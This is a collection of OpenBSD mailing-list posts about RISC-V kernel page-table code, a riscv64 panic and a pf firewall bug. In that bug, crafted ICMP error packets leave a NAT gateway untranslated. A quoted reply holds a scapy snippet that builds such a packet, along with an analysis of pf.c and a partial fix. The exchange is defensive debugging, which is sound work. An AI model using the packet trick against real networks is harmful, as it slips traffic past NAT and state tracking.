Re: RISCV - physmem is an address not pages in locore.S
On Sun, Sep 17, 2023 at 04:22:14PM +0200, Mark Kettenis wrote:
> > Date: Sun, 17 Sep 2023 12:40:29 +0200
> > From: "Peter J. Philipp"
>
> Sorry Peter,
>
> But this doesn't make any sense to me. Your C code is just as
> unreadable as the assembly code ;)
>
> And your explanation doesn't make sense. The code works fine on
> existing hardware supported by OpenBSD. Your previous mails were also
> high on speculation and low on facts.
>
> Cheers,
>
> Mark
I took a break thought about what you said and bettered the C code. I hope
it makes better sense?
Code after .signature.
Best Regards,
-peter
/*
94 lla s1, pagetable_l2
95 srlit4, s9, L2_SHIFT
96 li t2, 512
97 add t3, t4, t2
98 li t0, (PTE_KERN | PTE_X)
99 1:
100 sllit2, t4, PTE_PPN1_S
101 or t5, t0, t2
102 sd t5, (s1)
103 addis1, s1, PTE_SIZE
104
105 addit4, t4, 1
106 bltut4, t3, 1b
107
*/
#include
#include
#include
#define P_KERN 0x1 /* not real, for demonstration purposes only */
#define P_X 0x2 /* not real, for demonstration purposes only */
char *
binary(ulong t5)
{
static char ret[1280];
int i = 0;
ret[0] = '\0';
for (i = 53; i >= 0; i--) {
switch (i) {
case (53 - 26):
strlcat(ret,"[32m", sizeof(ret));
break;
case (53 - 26 - 9):
strlcat(ret,"[34m", sizeof(ret));
break;
case (53 - 26 - 9 - 9):
strlcat(ret,"[35m", sizeof(ret));
break;
default:
//strlcat(ret,"[0m", sizeof(ret));
break;
}
if (t5 & (1UL << i)) {
strlcat(ret, "1", sizeof(ret));
} else {
strlcat(ret, "0", sizeof(ret));
}
}
return ([0]);
}
/*
* from /usr/src/sys/arch/riscv64/include/pte.h -
* PTE magic numbers sed'ed s/PTE_/P_/g
*/
#define P_SIZE 8 /* 8 bytes PTE size */
#define P_PPN1_S19 /* explanation below */
/*
* P_PPN1_S is a shift of bits from the LSb of the PTE leftwards to the
* respective level (given 0, 1, 2, 3), this is becuase the PTE looks like
* this:
*
* Sv39 Page Table Entry
* 63 0
*
* |N| rsvd| PPN[2] | PPN[1] | PPN[0] | ptebits |
*
* |26 | 9 | 9 | 10
* | || |
* | || |
* | || +--->P_PPN0_S 10
* | ||
* | |+---> P_PPN1_S 19
* | |
* | +> P_PPN2_S 28
* |
* +--> P_PPN3_S 37*
*
* * In Sv39 this is really 26? which is 26 bits pages, or 67,108,864 pages
* or 64 Mega Pages (not to be confused with the Megapage ie, PPN[1]
* or 274877906944 bytes (big number)
*
*/
#define L2_SHIFT21 /* 2 MiB == 21 bits == 2 ^ 21 */
#define PAGE_SHIFT 12 /* 4096 bytes */
int
main(int argc, char *argv[])
{
u_long pagetable_l2 = 0x100c000UL;/* VA from readelf -a bsd |\
grep pagetable_l2 */
u_long physmem = 0x4020UL >> ((argc > 1) ? PAGE_SHIFT : 0); /* PA
in s9 */
u_long megapages = physmem >> L2_SHIFT; /* physmem base / 2 MiB */
u_long slot = 512; /* slot # */
u_long slot_limit = megapages + slot;
u_long pte_bits = (P_KERN | P_X); /* reg t0, spans 10b from LSb */
u_long pte; /* register t5 */
do {
/* 100 sllit2, t4, PTE_PPN1_S */
slot = megapages << P_PPN1_S;
/* 101 or t5, t0, t2 */
Re: RISCV - physmem is an address not pages in locore.S
On Sun, Sep 17, 2023 at 04:51:11PM +0200, Peter J. Philipp wrote: > On Sun, Sep 17, 2023 at 04:22:14PM +0200, Mark Kettenis wrote: > > > Date: Sun, 17 Sep 2023 12:40:29 +0200 > > > From: "Peter J. Philipp" > > > > Sorry Peter, > > > > But this doesn't make any sense to me. Your C code is just as > > unreadable as the assembly code ;) > > Yeah it should be torn out and replaced. I have some replacemnent code > if you're willing to touch it with a 10 foot stick. Only.. it doesn't > work (yet) and I haven't gotten the idea yet as to why. > > > And your explanation doesn't make sense. The code works fine on > > existing hardware supported by OpenBSD. Your previous mails were also > > high on speculation and low on facts. > > Yes it works fine. Well it boots. I hope the L2 cache does get remapped > in pmap.c, I haven't looked at this. > > Also I found that the L1 cache is on a 4096 byte alignment, I have read > some of the docs on the Mango Pi and they expect a 16K alignment. Why? I > don't know. That's a simple fix I guess and it shouldn't make much diff > other than perhaps making the kernel a bit bigger. Here is another one that I may have misinterpreted. Regarding unalignment ''Any level of PTE may be a leaf PTE, so in addition to 4 KiB pages, Sv39 supports 2 MiB megapages and 1 GiB gigapages, each of which must be virtually and physically aligned to a boundary equal to its size. A page-fault exception is raised if the physical address is insufficiently aligned.'' In OpenBSD locore.S, the L1 cache is not a leaf it is a branch (aka pointer) to the L2 Leaf. But say someone misinterprets this the same way I did, there may be something wrong in the way we map a: physmem (0x20 alignment and not 1 GiB alignment) to KERNBASE which is a 1 GiB alignment. I'm sorry this spooked me a little before I knew the distinction of a leaf and a branch. Difference is a Leaf has to be any of PTE_[RWX] set to true, where a branch does not. That's why PTE_V on the branch pointer is done. Best Regards, -peter > If you do find that there is some truth to my translation from asm to C, > then the last 200 MiB is weird. Is that where the stack resides in the > boot btw? I dunno. > > The rest was probably speculation. For that, sorry for wasting time. > > Best Regards, > -peter > > > > Cheers, > > > > Mark > > > > > Hi OpenBSD/riscv64'ers! > > > > > > After a week of debugging a different issue I noticed this issue with the > > > L2 cache in locore.S: > > > > > > The physical address of the base boot memory is held in register s9, > > > and this is shifted by the L2 cache code by 21 to the right. In order to > > > make 2 MiB offsets. However, I have found in my research that the > > > algorithm > > > is flawed a little. It expects pages not an address on s9. I wrote this > > > program to understand the algorithm better. And I wrote it in C and it > > > should > > > be an exact duplication of the asm code. Please point out if it isn't. > > > > > > Here is the output. I'm attaching the program after this it's colour > > > coded > > > so you can see it better. As you can see with the first output there is > > > bits in the PTE beyond PPN[1] in PPN[2], in the L2 cache. In the second > > > output which ends at the same address the bits are perfectly aligned in > > > PPN[1]. > > > > > > pjp@polarstern$ ./l2shit | tail > > > sd 1FB80003(0110111011) to > > > 1014FB0 > > > sd 1FC3(011111) to > > > 1014FB8 > > > sd 1FC80003(0111001011) to > > > 1014FC0 > > > sd 1FD3(0111010011) to > > > 1014FC8 > > > sd 1FD80003(0111011011) to > > > 1014FD0 > > > sd 1FE3(000011) to > > > 1014FD8 > > > sd 1FE80003(001011) to > > > 1014FE0 > > > sd 1FF3(010011) to > > > 1014FE8 > > > sd 1FF80003(011011) to > > > 1014FF0 > > > sd 2003(100011) to > > > 1014FF8 > > > pjp@polarstern$ ./l2shit pages | tail > >
Re: RISCV - physmem is an address not pages in locore.S
On Sun, Sep 17, 2023 at 04:51:11PM +0200, Peter J. Philipp wrote: > If you do find that there is some truth to my translation from asm to C, > then the last 200 MiB is weird. Is that where the stack resides in the > boot btw? I dunno. Sorry this should say 2MiB, I have too many 0x20 in my head. Best Regards, -peter
Re: RISCV - physmem is an address not pages in locore.S
On Sun, Sep 17, 2023 at 04:22:14PM +0200, Mark Kettenis wrote: > > Date: Sun, 17 Sep 2023 12:40:29 +0200 > > From: "Peter J. Philipp" > > Sorry Peter, > > But this doesn't make any sense to me. Your C code is just as > unreadable as the assembly code ;) Yeah it should be torn out and replaced. I have some replacemnent code if you're willing to touch it with a 10 foot stick. Only.. it doesn't work (yet) and I haven't gotten the idea yet as to why. > And your explanation doesn't make sense. The code works fine on > existing hardware supported by OpenBSD. Your previous mails were also > high on speculation and low on facts. Yes it works fine. Well it boots. I hope the L2 cache does get remapped in pmap.c, I haven't looked at this. Also I found that the L1 cache is on a 4096 byte alignment, I have read some of the docs on the Mango Pi and they expect a 16K alignment. Why? I don't know. That's a simple fix I guess and it shouldn't make much diff other than perhaps making the kernel a bit bigger. If you do find that there is some truth to my translation from asm to C, then the last 200 MiB is weird. Is that where the stack resides in the boot btw? I dunno. The rest was probably speculation. For that, sorry for wasting time. Best Regards, -peter > Cheers, > > Mark > > > Hi OpenBSD/riscv64'ers! > > > > After a week of debugging a different issue I noticed this issue with the > > L2 cache in locore.S: > > > > The physical address of the base boot memory is held in register s9, > > and this is shifted by the L2 cache code by 21 to the right. In order to > > make 2 MiB offsets. However, I have found in my research that the algorithm > > is flawed a little. It expects pages not an address on s9. I wrote this > > program to understand the algorithm better. And I wrote it in C and it > > should > > be an exact duplication of the asm code. Please point out if it isn't. > > > > Here is the output. I'm attaching the program after this it's colour coded > > so you can see it better. As you can see with the first output there is > > bits in the PTE beyond PPN[1] in PPN[2], in the L2 cache. In the second > > output which ends at the same address the bits are perfectly aligned in > > PPN[1]. > > > > pjp@polarstern$ ./l2shit | tail > > sd 1FB80003(0110111011) to > > 1014FB0 > > sd 1FC3(011111) to > > 1014FB8 > > sd 1FC80003(0111001011) to > > 1014FC0 > > sd 1FD3(0111010011) to > > 1014FC8 > > sd 1FD80003(0111011011) to > > 1014FD0 > > sd 1FE3(000011) to > > 1014FD8 > > sd 1FE80003(001011) to > > 1014FE0 > > sd 1FF3(010011) to > > 1014FE8 > > sd 1FF80003(011011) to > > 1014FF0 > > sd 2003(100011) to > > 1014FF8 > > pjp@polarstern$ ./l2shit pages | tail > > sd 0FB3(0010110011) to > > 1014FB0 > > sd 0FB80003(0010111011) to > > 1014FB8 > > sd 0FC3(001111) to > > 1014FC0 > > sd 0FC80003(0011001011) to > > 1014FC8 > > sd 0FD3(0011010011) to > > 1014FD0 > > sd 0FD80003(0011011011) to > > 1014FD8 > > sd 0FE3(0011100011) to > > 1014FE0 > > sd 0FE80003(0011101011) to > > 1014FE8 > > sd 0FF3(000011) to > > 1014FF0 > > sd 0FF80003(001011) to > > 1014FF8 > > > > > > /* > > > > 94 lla s1, pagetable_l2 > > 95 srlit4, s9, L2_SHIFT > > 96 li t2, 512 > > 97 add t3, t4, t2 > > 98 li t0, (PTE_KERN | PTE_X) > > 99 1: > > 100 sllit2, t4, PTE_PPN1_S > > 101 or t5, t0, t2 > > 102 sd
RISCV - physmem is an address not pages in locore.S
Hi OpenBSD/riscv64'ers!
After a week of debugging a different issue I noticed this issue with the
L2 cache in locore.S:
The physical address of the base boot memory is held in register s9,
and this is shifted by the L2 cache code by 21 to the right. In order to
make 2 MiB offsets. However, I have found in my research that the algorithm
is flawed a little. It expects pages not an address on s9. I wrote this
program to understand the algorithm better. And I wrote it in C and it should
be an exact duplication of the asm code. Please point out if it isn't.
Here is the output. I'm attaching the program after this it's colour coded
so you can see it better. As you can see with the first output there is
bits in the PTE beyond PPN[1] in PPN[2], in the L2 cache. In the second
output which ends at the same address the bits are perfectly aligned in PPN[1].
pjp@polarstern$ ./l2shit | tail
sd 1FB80003(0110111011) to 1014FB0
sd 1FC3(011111) to 1014FB8
sd 1FC80003(0111001011) to 1014FC0
sd 1FD3(0111010011) to 1014FC8
sd 1FD80003(0111011011) to 1014FD0
sd 1FE3(000011) to 1014FD8
sd 1FE80003(001011) to 1014FE0
sd 1FF3(010011) to 1014FE8
sd 1FF80003(011011) to 1014FF0
sd 2003(100011) to 1014FF8
pjp@polarstern$ ./l2shit pages | tail
sd 0FB3(0010110011) to 1014FB0
sd 0FB80003(0010111011) to 1014FB8
sd 0FC3(001111) to 1014FC0
sd 0FC80003(0011001011) to 1014FC8
sd 0FD3(0011010011) to 1014FD0
sd 0FD80003(0011011011) to 1014FD8
sd 0FE3(0011100011) to 1014FE0
sd 0FE80003(0011101011) to 1014FE8
sd 0FF3(000011) to 1014FF0
sd 0FF80003(001011) to 1014FF8
/*
94 lla s1, pagetable_l2
95 srlit4, s9, L2_SHIFT
96 li t2, 512
97 add t3, t4, t2
98 li t0, (PTE_KERN | PTE_X)
99 1:
100 sllit2, t4, PTE_PPN1_S
101 or t5, t0, t2
102 sd t5, (s1)
103 addis1, s1, PTE_SIZE
104
105 addit4, t4, 1
106 bltut4, t3, 1b
107
*/
#include
#include
#include
#define P_KERN 0x1 /* not real */
#define P_X 0x2 /* not real */
char *
binary(ulong t5)
{
static char ret[1280];
int i = 0;
ret[0] = '\0';
for (i = 53; i >= 0; i--) {
switch (i) {
case (53 - 26):
strlcat(ret,"[32m", sizeof(ret));
break;
case (53 - 26 - 9):
strlcat(ret,"[34m", sizeof(ret));
break;
case (53 - 26 - 9 - 9):
strlcat(ret,"[35m", sizeof(ret));
break;
default:
//strlcat(ret,"[0m", sizeof(ret));
break;
}
if (t5 & (1UL << i)) {
strlcat(ret, "1", sizeof(ret));
} else {
strlcat(ret, "0", sizeof(ret));
}
}
return ([0]);
}
int
main(int argc, char *argv[])
{
u_long s1 = 0x1014000; /* pagetable l2 */
u_long s9 = 0x4020 >> ((argc > 1) ? 12 : 0);/* physmem s9
(pages?) */
u_long t4 = s9 >> 21;
u_long t2 = 512;
u_long t3 = t4 + t2;
u_long t0 = (P_KERN | P_X);
u_long t5;
repeat:
t2 = t4 << 19;
t5 = t0 | t2;
printf("sd %08lX(%s[0m) to %lX\n", t5, binary(t5), s1);
s1 += 8;
t4 += 1;
if (t4 < t3)
goto repeat;
return 0;
}
Please look at this document section 4.4.1 figure 4.21 to see the structure
of the PTE.
https://mainrechner.de/riscv-privileged-20211203.pdf
Best Regards,
-peter
--
Over thirty years experience on Unix-like Operating Systems starting with QNX.
Re: pf nat-to doesn't match a crafted packet
On Sun, Sep 03, 2023 at 04:12:35AM +0200, Alexandr Nedvedicky wrote:
> Hello,
>
> so there is actually bug. I was able to reproduce it with very simple
> rules on my router:
>
> set skip on em1
> block return all
> pass out on em0 from 192.168.2.0/24 to any nat-to(em0)
>
> em1 is interface, facing to LAN
> em0 is interface to internet where NAT happens.
>
> I did use a scapy to generate ICMP host unreachable:
> d = '77.75.77.222'
> s = '192.168.2.5'
> sp = 1234
> dp = 12345
> pkt = Ether()/IP(dst=d)/ICMP(type=3, code=1, )/\
> IP(src=d', dst=s)/UDP(sport=sp, dport=dp)
> sendp(pkt, iface='iwn0')
>
> the packet has been sent from my notebook via LAN towards router. to my
> surprise router forwards packet untranslated without creating a state.
>
> the packet indeed matches the 'pass out on em0 rule...'
> however 'keep state' and 'nat-to' actions are ignored. To understand
> why we must look here at pf_test_rule():
>
> 4475 if (pd->virtual_proto != PF_VPROTO_FRAGMENT
> 4476 && !ctx.state_icmp && r->keep_state) {
> 4477
>
> 4491 action = pf_create_state(pd, r, a, ctx.nr, , ,
> 4492 , sm, ctx.tag, , ,
> ctx.sns);
> 4493
> 4494 if (action != PF_PASS)
> 4495 goto cleanup;
> 4496 if (sks != skw) {
> 4497 struct pf_state_key *sk;
> 4498
> 4499 if (pd->dir == PF_IN)
> 4500 sk = sks;
> 4501 else
> 4502 sk = skw;
> 4503 rewrite += pf_translate(pd,
> 4504 >addr[pd->af == pd->naf ? pd->sidx :
> pd->didx],
> 4505 sk->port[pd->af == pd->naf ? pd->sidx :
> pd->didx],
> 4506 >addr[pd->af == pd->naf ? pd->didx :
> pd->sidx],
> 4507 sk->port[pd->af == pd->naf ? pd->didx :
> pd->sidx],
> 4508 virtual_type, ctx.icmp_dir);
> 4509 }
> 4510
> 4511 #ifdef INET6
> 4512 if (rewrite && skw->af != sks->af)
> 4513 action = PF_AFRT;
> 4514 #endif /* INET6 */
> 4515
> 4516 } else {
> 4517 while ((ctx.ri = SLIST_FIRST())) {
> 4518 SLIST_REMOVE_HEAD(, entry);
> 4519 pool_put(_rule_item_pl, ctx.ri);
> 4520 }
> 4521 }
>
> note '!ctx.state_icmp' at line 4476. This variable is being set
> by pf_icmp_mapping() function very early in pf_test_rule() function.
>
> 4354 switch (pd->virtual_proto) {
> 4355 case IPPROTO_ICMP:
> 4356 ctx.icmptype = pd->hdr.icmp.icmp_type;
> 4357 ctx.icmpcode = pd->hdr.icmp.icmp_code;
> 4358 ctx.state_icmp = pf_icmp_mapping(pd, ctx.icmptype,
> 4359 _dir, _id, _type);
> 4360 if (ctx.icmp_dir == PF_IN) {
> 4361 pd->osport = pd->nsport = virtual_id;
>
> for ICMP error messages the ctx.state_icmp value is set to one.
> It happens right here in pf_icmp_mapping():
>
> 2582 /* These ICMP types map to other connections */
> 2583 case ICMP_UNREACH:
> 2584 case ICMP_SOURCEQUENCH:
> 2585 case ICMP_REDIRECT:
> 2586 case ICMP_TIMXCEED:
> 2587 case ICMP_PARAMPROB:
> 2588 /* These will not be used, but set them anyway */
> 2589 *icmp_dir = PF_IN;
> 2590 *virtual_type = htons(type);
> 2591 *virtual_id = 0;
> 2592 return (1); /* These types match to another
> state */
>
>
> this explains why pf ignores 'keep state' and 'nat-to' action for ICMP errors.
>
> It's tempting to fix things up in pf_test_rule() in else branch lines
> 4517-4520.
> However I'm afraid this approach may create some undesired side-effect.
> in my opinion is to fix pf_match_rule() function, so ICMP error message
> will no longer match 'keep state' rule. Diff below is for IPv4. I still
> need to think of more about IPv6. My gut feeling is it will be very similar.
>
> thanks and
> regards
> sashan
Hi Alexandr,
Give me until monday to test this patch as I'm not at home currently. Thank
you for taking time out of your WE to test this. Emotionally I'm happy and
sad at the same time. Happy, that the report was not wrong, and sad that it
is correct. Also my custom spoofer has once again found a bug in OpenBSD I
don't know if I should be proud of that, or not.
Best Regards,
-peter
> 8<---8<---8<--8<
> diff --git a/sys/net/pf.c b/sys/net/pf.c
> index 4f0fc3f91a9..0993aed85fb 100644
> --- a/sys/net/pf.c
> +++ b/sys/net/pf.c
> @@ -4148,6 +4148,9 @@
Re: riscv64: Fatal page fault at [amap_wiperange_chunk?]
On Thu, Aug 31, 2023 at 10:28:45AM +0200, Jeremie Courreges-Anglas wrote:
>
> First kernel crash during this ports bulk build, I have rebooted the
> machine. No idea whether this is the usual memory corruption I see on
> this hardware.
>
> OpenBSD/riscv64 (riscv64-4.ports.openbsd.org) (console)
>
> login: t[0] == 0x0033635ab000
> t[1] == 0xffc0005ab43e
> t[2] == 0x0038af62
> t[3] == 0x
> t[4] == 0xd47cf178
> t[5] == 0xee7c6af0
> t[6] == 0x7c967e3f
> s[0] == 0xffc322730bd0
> s[1] == 0x0002
> s[2] == 0xffc333664210
> s[3] == 0xffc338961ef8
> s[4] == 0x0001
> s[5] == 0x0002
> s[6] == 0xffc333664210
> s[7] == 0x0012
> s[8] == 0xffc333664250
> s[9] == 0x0011
> s[10] == 0x
> s[11] == 0x0001
> a[0] == 0xff00ffc333bb9120
> a[1] == 0xffc338961f00
> a[2] == 0x0001
> a[3] == 0x0001
> a[4] == 0x0010
> a[5] == 0x0202
> a[6] == 0x0012
> a[7] == 0xffc023ad8f44
> sepc == 0xffc0005aa9a2
> sstatus == 0x00020120
> stval == 0x004333bb9120
> scause == 0x000d
> panic: Fatal page fault at 0xffc0005aa9a2: 0x4333bb9120
> Stopped at panic+0x106:addia0,zero,256TIDPIDUID
> PR
> FLAGS PFLAGS CPU COMMAND
> 141098 68043 55 0x302 0x4000 compile
> 364938 9101 55 0x102 01 meinproc5
> * 8477 5653 55 0x102 03 c++
> 74488 43163 55 0x102 02 cc
> panic() at panic+0x106
> do_trap_supervisor() at do_trap_supervisor+0x1e8
> cpu_exception_handler_supervisor() at cpu_exception_handler_supervisor+0x7a
> amap_wiperange_chunk() at amap_wiperange_chunk+0x80
> amap_pp_adjref() at amap_pp_adjref+0x23a
> amap_adjref_anons() at amap_adjref_anons+0xbc
> uvm_unmap_detach() at uvm_unmap_detach+0x6a
> sys_munmap() at sys_munmap+0x108
> svc_handler() at svc_handler+0x28a
> do_trap_user() at do_trap_user+0x15c
> cpu_exception_handler_user() at cpu_exception_handler_user+0x7c
> end of kernel
> end trace frame: 0xd47cef4a, count: 4
>
>
> --
> jca | PGP : 0x1524E7EE / 5135 92C1 AD36 5293 2BDF DDCC 0DFA 74AE 1524 E7EE
I looked into this a little bit but noticed my QEMU riscv64 is just too slow.
One thing I noticed is that the state of objdump is horrendous on the RV64
systems if given the go-ahead I'd like to look into this, but I can only find
time in 2 weeks.
oceans# pkg_info -E /usr/local/riscv64-unknown-elf/bin/objdump
/usr/local/riscv64-unknown-elf/bin/objdump: riscv-elf-binutils-2.40p1
riscv-elf-binutils-2.40p1 binutils for riscv-elf cross-development
I'm using this one since the one in base is unuseable. Also in the riscv
port objdump they mix up add op codes with addi op codes, ie.
oceans# grep f8840513 kernel.dump | head
ffc00023c74c: f8840513add a0,s0,-120
ffc0002470e8: f8840513add a0,s0,-120
these are definitely addi op codes as this test program shows:
int
main(void)
{
u_long var = 0xf8840513;
if ((var & 0x707f) == 0x13)
printf("if you see this it's an addi op code\n");
if ((var & 0xfe00707f) == 0x33)
printf("if you see this it's an add op code\n");
}
Best Regards,
-peter
--
Over thirty years experience on Unix-like Operating Systems starting with QNX.
Re: pf nat-to doesn't match a crafted packet
On Tue, Aug 29, 2023 at 11:11:53AM +0200, Alexandr Nedvedicky wrote: > Hello, > > On Tue, Aug 29, 2023 at 09:48:21AM +0200, Peter J. Philipp wrote: > > On Tue, Aug 29, 2023 at 09:45:24AM +1000, David Gwynne wrote: > > > How are you injecting the crafted packet into the stack? > > > > Via BPF. It is a spoofing program that I made 23 years ago. While that's > > not really a great achievement it found at least 5 or so panic conditions > > on OpenBSD throughout its existance, for which I'm sure everyone is grateful > > for. I am willing to share it (I have shared it in the past), but now only > > for @openbsd.org addresses, I keep hacking on it time and time again, > > but it only does IPv4 unless it reads the entire frame which I've never > > tried > > I don't think. Anyhow regarding the panics they pop up whenever I get > > "creative" with packets, which keeps me away from what I really wanted to > > achieve. > > > > So in private conversation I had with Alexandr, I noticed that in the > > OpenBSD > > pf firewall there is this statement in the pf.conf manpage (which is a lie). > > > >ICMP responses are not permitted unless they either match an > > existing request, or unless no state or keep state (sloppy) is > > specified. > > > > > > the paragraph you quote assumes a context of stateful packet filtering. > however the truth is that if ICMP response packet does not match existing > state (existing request), then the ICMP packet fate depends on rules which > is covered in second paragraph in 'PACKET FILTERING' section: > > Each time a packet processed by the packet filter comes in on or goes out > through an interface, the filter rules are evaluated in sequential order, > from first to last. For block and pass, the last matching rule decides > what action is taken; if no rule matches the packet, the default action > is to pass the packet without creating a state. For match, rules are > evaluated every time they match; the pass/block state of a packet remains > unchanged. > > > regards > sashan Hi, I would like to upgrade this firewall to -current and repeat this test. Is that OK or do you need it for any backtracking? It currently is 7.3 arm64. Best Regards, -peter -- Over thirty years experience on Unix-like Operating Systems starting with QNX.
Re: pf nat-to doesn't match a crafted packet
On Tue, Aug 29, 2023 at 12:35:47PM +0200, Claudio Jeker wrote: > On Tue, Aug 29, 2023 at 12:16:23PM +0200, Peter J. Philipp wrote: > > On Tue, Aug 29, 2023 at 11:11:53AM +0200, Alexandr Nedvedicky wrote: > > > Hello, > > > > > > On Tue, Aug 29, 2023 at 09:48:21AM +0200, Peter J. Philipp wrote: > > > > On Tue, Aug 29, 2023 at 09:45:24AM +1000, David Gwynne wrote: > > > > > How are you injecting the crafted packet into the stack? > > > > > > > > Via BPF. It is a spoofing program that I made 23 years ago. While > > > > that's > > If you inject packets via BPF they skip the network stack and therfor do > not pass pf. So pf(4) has no clue about that packet. > This is why for dhcp no extra rules are required. > > -- > :wq Claudio Hi Claudio, I know this, but this injection was on a host behind the firewall/gateway 1 hop. The injection is on another stack. And I did say this and the ttl's on the tcpdump do indicated 64 ttl on the host where I'm injecting and 63 on the pppoe0 interface. Sorry if I didn't communicate it better. Best Regards, -peter -- Over thirty years experience on Unix-like Operating Systems starting with QNX.
Re: pf nat-to doesn't match a crafted packet
On Tue, Aug 29, 2023 at 11:11:53AM +0200, Alexandr Nedvedicky wrote: > Hello, > > On Tue, Aug 29, 2023 at 09:48:21AM +0200, Peter J. Philipp wrote: > > On Tue, Aug 29, 2023 at 09:45:24AM +1000, David Gwynne wrote: > > > How are you injecting the crafted packet into the stack? > > > > Via BPF. It is a spoofing program that I made 23 years ago. While that's > > not really a great achievement it found at least 5 or so panic conditions > > on OpenBSD throughout its existance, for which I'm sure everyone is grateful > > for. I am willing to share it (I have shared it in the past), but now only > > for @openbsd.org addresses, I keep hacking on it time and time again, > > but it only does IPv4 unless it reads the entire frame which I've never > > tried > > I don't think. Anyhow regarding the panics they pop up whenever I get > > "creative" with packets, which keeps me away from what I really wanted to > > achieve. > > > > So in private conversation I had with Alexandr, I noticed that in the > > OpenBSD > > pf firewall there is this statement in the pf.conf manpage (which is a lie). > > > >ICMP responses are not permitted unless they either match an > > existing request, or unless no state or keep state (sloppy) is > > specified. > > > > > > the paragraph you quote assumes a context of stateful packet filtering. > however the truth is that if ICMP response packet does not match existing > state (existing request), then the ICMP packet fate depends on rules which > is covered in second paragraph in 'PACKET FILTERING' section: > > Each time a packet processed by the packet filter comes in on or goes out > through an interface, the filter rules are evaluated in sequential order, > from first to last. For block and pass, the last matching rule decides > what action is taken; if no rule matches the packet, the default action > is to pass the packet without creating a state. For match, rules are > evaluated every time they match; the pass/block state of a packet remains > unchanged. > > > regards > sashan Hi, So I shared my pf.conf with you and sthen so that we're not guessing anymore, I should have done this earlier. There is a pass from to any in anchor "pppoe0 inet" but before that is a NAT match rule in the NAT anchor. So my question is the following. Why does this match not work? And why is there no state made for this packet though I specified keep state in the pass in last paragraph. This packet is an odd one to me for sure. Am I being difficult here? Sorry if you think I am. Best Regards, -peter -- Over thirty years experience on Unix-like Operating Systems starting with QNX.
Re: pf nat-to doesn't match a crafted packet
On Mon, Aug 28, 2023 at 07:13:29PM +0100, Stuart Henderson wrote: > On 2023/08/28 18:30, Peter J. Philipp wrote: > > Here is my icmp rulesets: > > > > root@stern# grep icmp /etc/pf.conf > > a partial pf.conf fragment is hardly ever enough to debug a ruleset > problem. if a packet doesn't match any rule then it hits the implicit > "pass flags any no state" rule 0. Sorry Stuart, I missed your message somehow. I pasted my rules to Alexandr privately. It is full of anchors and if he wants contents of the anchors I asked him to ask for more. Going by dhartmei's "don't share rules in public" I'm not going to do that but if you would like a list ask privately. Best Regards, -peter -- Over thirty years experience on Unix-like Operating Systems starting with QNX.
Re: pf nat-to doesn't match a crafted packet
On Tue, Aug 29, 2023 at 09:45:24AM +1000, David Gwynne wrote:
> How are you injecting the crafted packet into the stack?
Via BPF. It is a spoofing program that I made 23 years ago. While that's
not really a great achievement it found at least 5 or so panic conditions
on OpenBSD throughout its existance, for which I'm sure everyone is grateful
for. I am willing to share it (I have shared it in the past), but now only
for @openbsd.org addresses, I keep hacking on it time and time again,
but it only does IPv4 unless it reads the entire frame which I've never tried
I don't think. Anyhow regarding the panics they pop up whenever I get
"creative" with packets, which keeps me away from what I really wanted to
achieve.
So in private conversation I had with Alexandr, I noticed that in the OpenBSD
pf firewall there is this statement in the pf.conf manpage (which is a lie).
ICMP responses are not permitted unless they either match an
existing request, or unless no state or keep state (sloppy) is
specified.
Because in net/pf.c this line appears:
5584 if (ret >= 0)
5585 return (ret);
And well.. what is returned is negative which falls through to this:
6357
6358 return (PF_PASS);
15 year old bug and 10 year old bugs respectively.
Best Regards,
-peter
> On Tue, 29 Aug 2023, 01:14 , wrote:
>
> > >Synopsis: pf nat-to doesn't match a crafted packet
> > >Category: system
> > >Environment:
> > System : OpenBSD 7.3
> > Details : OpenBSD 7.3 (GENERIC.MP) #2080: Sat Mar 25 14:20:25
> > MDT 2023
> > dera...@arm64.openbsd.org:
> > /usr/src/sys/arch/arm64/compile/GENERIC.MP
> >
> > Architecture: OpenBSD.arm64
> > Machine : arm64
> > >Description:
> > I was testing a seemingly valid Internet packet going out my
> > gateway
> > but the pf firewall doesn't match nat-to to this one for some reason. I'm
> > possibly overlooking something but every other packet exiting my gateway is
> > nat'ed. What causes this? How can this be exploited?
> >
> > >How-To-Repeat:
> > Here is the tcpdump from the host 1 hop behind the NAT router:
> >
> > 16:59:08.438082 192.168.177.13 > 49.12.42.182: icmp: host 7.198.187.211
> > unreachable [icmp cksum ok] for 11.69.44.241.52699 > 7.198.187.211.55672:
> > udp 51351 [tos 0x9c] (ttl 147, id 17124, len 51419, optlen=40 NOP RR{39}=
> > RR{#106.155.117.54 233.26.79.111 129.127.249.242 60.117.146.16
> > 179.39.29.224 213.65.49.78 0.16.45.109 252.168.188.0 123.108.138.224}) (ttl
> > 64, id 65443, len 96)
> > : 4500 0060 ffa3 4001 ad81 c0a8 b10d E..`@...
> > 0010: 310c 2ab6 0301 55aa 4f9c c8db 1.*...U.O...
> > 0020: 42e4 9311 c756 0b45 2cf1 07c6 bbd3 B..V.E,.
> > 0030: 0107 2704 6a9b 7536 e91a 4f6f 817f f9f2 ..'.j.u6..Oo
> > 0040: 3c75 9210 b327 1de0 d541 314e 0010 2d6d > 0050: fca8 bc00 7b6c 8ae0 cddb d978 {l.x
> >
> > and here is the tcpdump on the pppoe interface:
> >
> > 16:59:08.440403 192.168.177.13 > 49.12.42.182: icmp: host 7.198.187.211
> > unreacha
> > ble [icmp cksum ok] (ttl 63, id 65443, len 96)
> >
> > Here is the relevant anchor rules I have:
> >
> >match out on $ext_if inet from to any nat-to ($ext_if)
> >
> > and:
> >
> > table const { 10/8, 172.16/12, 192.168/16 }
> >
> > Why did pf not translate this? ... that's kinda kinky.
> >
> > >Fix:
> > Not known.
> >
> >
> > dmesg:
> > OpenBSD 7.3 (GENERIC.MP) #2080: Sat Mar 25 14:20:25 MDT 2023
> > dera...@arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP
> > real mem = 8432840704 (8042MB)
> > avail mem = 8139239424 (7762MB)
> > random: good seed from bootblocks
> > mainbus0 at root: ACPI
> > psci0 at mainbus0: PSCI 1.1, SMCCC 1.2
> > cpu0 at mainbus0 mpidr 0: ARM Cortex-A72 r0p3
> > cpu0: 48KB 64b/line 3-way L1 PIPT I-cache, 32KB 64b/line 2-way L1 D-cache
> > cpu0: 1024KB 64b/line 16-way L2 cache
> > cpu0: CRC32,ASID16
> > cpu1 at mainbus0 mpidr 1: ARM Cortex-A72 r0p3
> > cpu1: 48KB 64b/line 3-way L1 PIPT I-cache, 32KB 64b/line 2-way L1 D-cache
> > cpu1: 1024KB 64b/line 16-way L2 cache
> > cpu1: CRC32,ASID16
